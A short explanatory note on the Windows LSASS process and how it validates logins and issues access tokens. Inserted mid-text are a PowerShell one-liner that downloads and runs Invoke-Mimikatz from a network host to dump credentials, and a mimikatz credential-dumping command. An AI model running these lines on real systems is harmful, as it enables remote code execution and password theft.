1️⃣LSASS

The LSASS (Local Security Authority Subsystem Service) is a process in the Windows operating system responsible for enforcing security policies and handling authentication and security-related...

LSASS manages the security aspects of user logins and authentications. When a user attempts to log in to a Windows system, LSASS verifies the user's credentials, such as the username and password, against the information stored in the Security Account Manager (SAM) database or Active Directory (in the case of a domain environment).

The SAM database stores local user account information, while Active Directory stores information about users, groups, and other objects in a networked environment.

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.100/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

mimikatz # sekurlsa:logonpasswords

During the authentication process, LSASS receives the user's credentials, encrypts and hashes the password, and compares it with the stored password hash to validate the user's identity.

If the credentials match, LSASS generates an access token, which contains information about the user's privileges and security context.

This access token is then used by the operating system to control the user's access to resources and enforce security policies.